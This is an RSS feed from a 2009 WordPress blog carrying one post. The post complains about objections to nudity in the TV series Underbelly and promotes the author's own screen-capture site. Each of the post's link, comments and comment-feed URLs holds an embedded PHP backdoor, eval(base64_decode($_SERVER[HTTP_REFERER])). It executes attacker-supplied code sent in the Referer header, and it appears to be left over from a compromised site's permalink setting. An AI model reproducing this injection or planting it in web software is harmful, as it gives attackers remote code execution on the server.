<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Johnny Moronic Capturing:  A Capper's Life &#187; self-promotion</title>
	<atom:link href="http://johnnymoronic.com/blog/tag/self-promotion/feed/" rel="self" type="application/rss+xml" />
	<link>http://johnnymoronic.com/blog</link>
	<description>What I'm thinking, when I'm thinking it.</description>
	<lastBuildDate>Fri, 31 Jul 2009 14:54:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>It&#8217;s just a little harmless T &amp; A</title>
		<link>http://johnnymoronic.com/blog/2009/03/01/its-just-a-little-harmless-t-a/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://johnnymoronic.com/blog/2009/03/01/its-just-a-little-harmless-t-a/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 09:21:06 +0000</pubDate>
		<dc:creator>Johnny Moronic</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Australian TV]]></category>
		<category><![CDATA[Johnny Moronic Television]]></category>
		<category><![CDATA[self-promotion]]></category>
		<category><![CDATA[Underbelly]]></category>

		<guid isPermaLink="false">http://johnnymoronic.com/blog/?p=8</guid>
		<description><![CDATA[Underbelly again, get over it will ya.]]></description>
			<content:encoded><![CDATA[<p>Well, Underbelly broke viewer number records with it&#8217;s series premiere and deservedly so.  It&#8217;s a quality series about the criminal underworld of Melbourne (with a little bit of New South Wales thrown in this series).</p>
<p>Personally, I thought the opening was a tad slow on revealing details, but that&#8217;s fine, there&#8217;s plenty of the series to flesh those details out.  Episode 4 was a return to form as the action switched to a bigger focus in Melbourne.</p>
<p>One thing that has come out from the series so far is that people are complaining about the sex and nudity in the show.  Just one question to those people:</p>
<h4>&#8220;Didn&#8217;t you watch the first series?&#8221;</h4>
<p>(Here&#8217;s where I mention that I have only watched the first 5 episodes of the first season, for legal reasons&#8230;)</p>
<p>There was plenty of nudity, including plenty of the gratitious kind in the first series.  I distinctly remember a scene where two men pick up a couple of strippers at a strip club then go to a hotel room and have a massive sex fest including girl-on-girl action.  And that&#8217;s just the start.  This is nothing new for Underbelly and it wasn&#8217;t to be unexpected, as the <span style="text-decoration: line-through;">purveyors of filth</span> producers had fortold what to expect in the new series.</p>
<p>These people have obviously not watched Satisfaction.</p>
<h2>Now who are you talking about?</h2>
<p>Channel 9 are clearly revelling in this publicity.  Snippets of info about upcoming nudity have been &#8216;leaked&#8217; to the media.  One such snippet that it getting plenty of use is the character of Chopper Read showing a full frontal in a jail shower scene.  That was also included with the info that the actual Chopper Read was very interested to play his younger self.  Make of that what you will&#8230;</p>
<p>Anyway, yesterday&#8217;s (28/2) Herald Sun (also on the <a title="Gangland drama has bare essentials for Kiwi actor Anna Hutchison" href="http://www.news.com.au/heraldsun/story/0,,25116197-2902,00.html" target="_blank">web</a>) has a front page banner trumpeting an &#8216;interview&#8217; with the actress who has shown the most nudity, Anna Hutchison.  The &#8216;interview&#8217; is brief and the article smells of publicity, but one little sentence peaked my interest:</p>
<h4>&#8220;The scenes spawned at least one porn website devoted to the show.&#8221;</h4>
<p>You mean this pissy little site?  Heh, I&#8217;m wondering whether they are.</p>
<p>And if they are, you could&#8217;ve at least put a link to the site.</p>
<p>Come on, we&#8217;re working on the same side of the street here.  Yours is a Rupert Murdoch owned &#8216;newspaper&#8217; that revels in the sleaze, hell a couple of pages on from the Underbelly article is an &#8216;article&#8217; that was basically a woman modelling various bathing suits.  Hang on, isn&#8217;t that what I do.  The Murdoch owned papers never miss an opportunity to have some women show a bit of tit (although they can&#8217;t show nudity anymore here, but if they were allowed too&#8230;)</p>
<p>And I&#8217;m not totally devoted to Underbelly.  Haven&#8217;t you seen the new update!  I will admit that Underbelly has definitely increased the traffic to this site to the point that it&#8217;s starting to struggle longer than it usually does after a new update.  This site has been linked to a lot more than usual, even more than when I released stuff from Satisfaction.  And a few more new visitors to the site have decided to help themselves to even more of the site.  The more the merrier, I say.</p>
<h6>If there is some other site, please tell me so I can stop making a fool of myself.</h6>
<p>So please, keep enjoying the site, but how &#8217;bout a shout out for a fellow <span style="text-decoration: line-through;">pervert</span> newsman.</p>
]]></content:encoded>
			<wfw:commentRss>http://johnnymoronic.com/blog/2009/03/01/its-just-a-little-harmless-t-a/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

